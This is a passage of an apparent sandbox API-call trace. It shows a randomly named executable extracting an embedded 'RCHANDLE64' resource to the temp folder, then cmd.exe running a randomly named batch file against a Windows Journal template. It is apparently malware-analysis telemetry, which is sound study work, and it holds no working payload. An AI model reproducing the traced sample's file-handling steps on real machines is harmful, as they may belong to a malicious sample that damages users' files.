lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x1c12a17f, hStdError=0x0)) [0064.880] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0064.880] GetFileType (hFile=0x3) returned 0x2 [0065.130] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0065.130] GetFileType (hFile=0x7) returned 0x2 [0065.130] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0065.131] GetFileType (hFile=0xb) returned 0x2 [0065.131] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c Run -y -p extract -nobanner" [0065.131] GetEnvironmentStringsW () returned 0x307c98* [0065.131] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0xb8a) returned 0x308830 [0065.131] FreeEnvironmentStringsW (penv=0x307c98) returned 1 [0065.132] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x94) returned 0x307c98 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa0) returned 0x307d38 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3e) returned 0x304dd8 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6c) returned 0x307de0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x6e) returned 0x307e58 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x78) returned 0x2ff908 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x62) returned 0x307ed0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x307f40 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x307f78 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x307fc8 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x28) returned 0x308000 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1a) returned 0x306a78 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4a) returned 0x308030 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x72) returned 0x2ff988 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x308088 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x3080c0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1c) returned 0x306aa0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xd2) returned 0x3080f8 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x7c) returned 0x3081d8 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x308260 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3a) returned 0x304e20 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x90) returned 0x3082a0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x308338 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x308368 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x36) returned 0x3083a0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x48) returned 0x3083e0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x308430 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x304e68 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x18) returned 0x308490 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x82) returned 0x3084b0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2e) returned 0x308540 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x1e) returned 0x306ac8 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2c) returned 0x308578 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x3085b0 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x52) returned 0x308610 [0065.132] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x2a) returned 0x308670 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x3c) returned 0x304eb0 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x54) returned 0x3086a8 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x24) returned 0x308708 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x30) returned 0x308738 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8c) returned 0x308770 [0065.133] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308830 | out: hHeap=0x2f0000) returned 1 [0065.133] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x800) returned 0x308808 [0065.133] GetLastError () returned 0x0 [0065.133] SetLastError (dwErrCode=0x0) [0065.133] GetLastError () returned 0x0 [0065.133] SetLastError (dwErrCode=0x0) [0065.133] GetLastError () returned 0x0 [0065.134] SetLastError (dwErrCode=0x0) [0065.134] GetACP () returned 0x4e4 [0065.134] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x220) returned 0x309010 [0065.134] GetLastError () returned 0x0 [0065.134] SetLastError (dwErrCode=0x0) [0065.134] IsValidCodePage (CodePage=0x4e4) returned 1 [0065.134] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0065.134] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0065.134] GetLastError () returned 0x0 [0065.134] SetLastError (dwErrCode=0x0) [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0065.134] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0065.134] GetLastError () returned 0x0 [0065.134] SetLastError (dwErrCode=0x0) [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0065.134] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0065.134] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0065.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿï \x12\x1cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0065.134] GetLastError () returned 0x0 [0065.134] SetLastError (dwErrCode=0x0) [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0065.134] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0065.134] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0065.134] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0065.134] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿï \x12\x1cäþ\x18", lpUsedDefaultChar=0x0) returned 256 [0065.135] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x80) returned 0x309238 [0065.135] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0065.135] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0065.135] RtlSizeHeap (HeapHandle=0x2f0000, Flags=0x0, MemoryPointer=0x309238) returned 0x80 [0065.135] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0065.135] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0065.135] GetCurrentProcess () returned 0xffffffff [0065.135] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0065.135] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0065.135] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0065.135] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0065.135] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0065.135] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0065.135] LockResource (hResData=0x43c648) returned 0x43c648 [0065.136] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x18) returned 0x309708 [0065.136] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0065.136] GetLastError () returned 0x20 [0065.136] GetLastError () returned 0x20 [0065.136] SetLastError (dwErrCode=0x20) [0065.136] GetLastError () returned 0x20 [0065.136] SetLastError (dwErrCode=0x20) [0065.136] GetLastError () returned 0x20 [0065.136] SetLastError (dwErrCode=0x20) [0065.136] GetLastError () returned 0x20 [0065.137] SetLastError (dwErrCode=0x20) [0065.137] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x1000) returned 0x309728 [0065.137] GetLastError () returned 0x20 [0065.137] SetLastError (dwErrCode=0x20) [0065.137] GetLastError () returned 0x20 [0065.137] SetLastError (dwErrCode=0x20) [0065.137] GetLastError () returned 0x20 [0065.137] SetLastError (dwErrCode=0x20) [0065.137] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0065.137] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0065.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x308808 | out: hHeap=0x2f0000) returned 1 [0065.140] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0065.140] ExitProcess (uExitCode=0x1) [0065.140] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3070a8 | out: hHeap=0x2f0000) returned 1 Process: id = "131" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x7a8fa000" os_pid = "0x5dc" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x328" cmd_line = "cmd /c \"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Bt3xnwko.bat\" \"C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\"\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 659 os_tid = 0xb98 [0068.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f904 | out: lpSystemTimeAsFileTime=0x18f904*(dwLowDateTime=0xce907c80, dwHighDateTime=0x1d5d06a)) [0068.177] GetCurrentProcessId () returned 0x5dc [0068.177] GetCurrentThreadId () returned 0xb98 [0068.177] GetTickCount () returned 0x1159f7b [0068.177] QueryPerformanceCounter (in: lpPerformanceCount=0x18f8fc | out: lpPerformanceCount=0x18f8fc*=21012902544) returned 1 [0068.177] GetModuleHandleA (lpModuleName=0x0) returned 0x4ab20000 [0068.178] __set_app_type (_Type=0x1) [0068.178] __p__fmode () returned 0x76be31f4 [0068.178] __p__commode () returned 